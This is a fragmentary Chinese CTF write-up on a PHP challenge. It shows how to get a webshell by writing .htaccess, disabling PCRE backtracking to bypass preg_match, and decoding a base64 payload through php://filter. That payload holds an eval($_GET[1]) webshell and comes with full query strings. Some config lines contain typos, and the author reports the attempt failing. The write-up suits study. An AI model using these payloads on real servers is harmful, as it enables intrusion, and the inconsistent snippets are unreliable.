好像 原题的话,是由声明的,所以我的本地才不行。
本题环境只对index.php文件进行解析。并且开头和末尾都对当前目录下的文件进行检查,删除(unlink)除了index.php外的所有文件
删除文件,之后写入htaccess文件,那么只能够index.php作为木马文件,
那么我传入一个htaccess,让这个index包含htaccess,有一句话木马,但是再一次用index使用木马的时候,就会把htaccess删除了啊,就没有木马了。
源码:
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
不懂,为什么直接写入马的话,不给解析程PHP,而是直接输出,我在本地上添加链接描述都是好的。
用的是 写入 .htaccess
。然后自己包含一句话马,
[^a-z\.]
。看上面有解释,.htaccess
。不知道,2020 羊城杯复现 。权当作是重新温习了一遍 .htaccess
了把。,好像知道了。我们只能够访问一次index.php。因为访问第二次的时候,就会把.htaccess
给删除了。那么我们就要写入另一个PHP文件,然后写入.htaccess
文件,但是需要写入两次,下一次的 时候会把上一次的给删除了。file
,那么思路就来了,要么绕过这个过滤。可用'fl'.'ag'
的方法来绕过,file_put_content
,然后我们可以用php://filter/convert.base64-decode/resource=.htaccess&content=***
这个过滤器,写入base64字符串,这样就不会被检测到其他字符了。然后写入的时候再进行base64解码操作,#format
php_value setting_name setting_value
#example
php_value auto_append_file .htaccess
可以使用auto_prepend_file
和auto_append_file
来进行包含,这样每个页面都会require所指定的PHP文件,
auto_prepend_file # 在页面的顶部加载文件
auto_append_file # 在页面的底部加载问题
注意:auto_prepend_file 与 auto_append_file 只能require一个php文件,但这个php文件内可以require多个其他的php文件。。。
题目会在写入文件的后面添加\nHello, world,我们构造payload时,结尾要用\ 处理content中的\n ,不然违背.htaccess 书写格式会导致Apache 运行崩溃
比如,我们需要写入:
php_value auto_prepend_file .htaccess
#\
如果末尾不加\
来转义\n
,文件内容就会变为
php_value auto_prepend_file .htaccess
#
Hello, world
会出现末尾行的字符串不符合htaccess文件的语法标准而报错导致htaccess文件无法执行,然后全部500.
过滤了关键字,可以用 base64,filter过滤器进行绕过。
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
preg_match的返回值:
returns 1; // 如果匹配到.
returns 0; // 如果未匹配到.
returns FALSE; // 发生错误时.
正则中写的是 if(preg_match("/[^a-z\.]/", $filename) == 1)
,而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)
。这样我们可以用其他的情况来进行绕过,比如,使它发生错误,。
文件名写入php://filter需要绕过preg_match函数的检查。第一印象想到preg_match处理数组是会返回NULL,然而这里file_put_contents函数传入的文件名参数不支持数组的形式。
在PHP中,正则匹配的递归次数由 pcre.backtrack_limit 控制 PHP5.3.7 版本之前默认值为 10万 ,PHP5.3.7 版本之后默认值为 100万 ,该值可以通过php.ini设置,也可以通过 phpinfo 页面查看。
。。。
那么可以设置pcre.backtrack_limit
值为0,使得回溯次数为0,来使得正则匹配什么都不匹配,即返回false。。
那我我们就在.htaccess
中修改配置,
php_value prce.backtrack_limit 0
php_value prce.jit 0
php_value auto_prepend_file .htaccess
#a\
因为php版本>=7,所以需要特别设置pcre.jit这个环境变量为0,不适用JIT引擎来匹配正则表达式,就使得pcre.backtrack_limit这个环境变量能正常生效,绕过preg_match函数。
php_value pcre.backtrack_limit 0
php_value prec.jit 0
#\
也就是
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess
。
然后写入一句话,,这里用 base64加密,因为不让我们出现数字和空格
,,所以就不行了。
我这样第二次传入马儿的时候,是不能用post传参的,因为访问网页一次以后就删除了htaccess,所以只能够访问一次,所以还是要用get方法传参的,
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();
说一说,为什么不直接写入这个上面的这个自动包含的东西,呃,,,因为写不进去,要有prepend_file,有file关键词,而题目会检测我们传入的content参数,所以直接写入是不行的,
那不行啊,我们就是要写入这么一段代码进去。
这个时候,就要想到php的伪协议了。我们传入的时候是一种编码,然后用过滤器解码之后写入,然后就行了。那么什么时候用php://filter/write=convert.base64-decode/resource=.htaccess
。这样用过滤器来操作,
那么这样的话文件名filename就会收到限制了。
下面这个是限制条件:反斜杠和冒号肯定是不行了啊。
那么就要绕过这个preg_match,正好就要那个.htaccess
来设置:
所以我们第一次传入:
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess
。
然后再用哪个PHP的过滤器传入我们的那一部分,
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();
吐了,,我没成功,思路是正确的 啊,
不是我们像要传入哪个prepend_file么,然后过滤了file,那么我们就在传入的时候,用\
把file给分隔开就好了。